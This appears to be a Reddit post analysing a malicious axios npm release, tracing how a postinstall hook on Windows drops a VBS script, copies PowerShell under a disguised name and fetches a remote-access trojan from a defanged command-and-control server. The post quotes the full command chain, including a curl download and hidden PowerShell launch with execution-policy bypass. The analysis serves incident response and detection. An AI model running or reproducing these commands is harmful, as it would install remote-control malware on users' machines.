axios was compromised on npm with ~100 million weekly downloads

Apparently, today 2 malicious versions of axios were identified - [email protected] and [email protected] . Some interesting info: three separate payloads were built for macOS, Windows, Linux axios has ~100 million weekly downloads, making it one of the most impactful npm supply chain attacks the malware self destructs after execution AnyRun analysis of the Windows variant of the file executed by postinstall hook at https[:]//socketusercontent[.]com/blob/Q4QsfqE8dZIFiX3QbaYkngBQNTg53aedJHl9NiUwuDk c -> C:\Windows\system32\cmd.exe /d /s /c "where powershell" to figure out where the PowerShell binary is located to later copy it in the C:\ProgramData folder under wt.exe C:\Windows\system32\cmd.exe /d /s /c "cscript "C:\Users\admin\AppData\Local\Temp\6202033.vbs" //nologo && del "C:\Users\admin\AppData\Local\Temp\6202033.vbs" /f" executes C:\Users\admin\AppData\Local\Temp\6202033.vbs via cscript - the initial dropper that is also deleted after it's execution "C:\Windows\System32\cmd.exe" /c curl -s -X POST -d "packages[.]npm[.]org/product1" "http[:]//sfrclak[.]com:8000/6202033" > "C:\Users\admin\AppData\Local\Temp\6202033.ps1" & "C:\ProgramData\wt.exe" -w hidden -ep bypass -file "C:\Users\admin\AppData\Local\Temp\6202033.ps1" "http[:]//sfrclak[.]com:8000/6202033" & del "C:\Users\admin\AppData\Local\Temp\6202033.ps1" /f where C:\ProgramData\wt.exe is a PowerShell executable (matches rule Starts PowerShell from an unusual location ) http[:]//sfrclak.com[:]8000/6202033 is the servers C2 server, where 6202033 seems to be the campaign ID. Downloads a PowerShell RAT, executes it via the -WindowStyle Hidden and -ExecutionPolicy Bypass and then it self deletes The only remaining artifact is C:\ProgramData\wt.exe all potentially malicious links were defanged submitted by /u/rifteyy_ [link] [ ]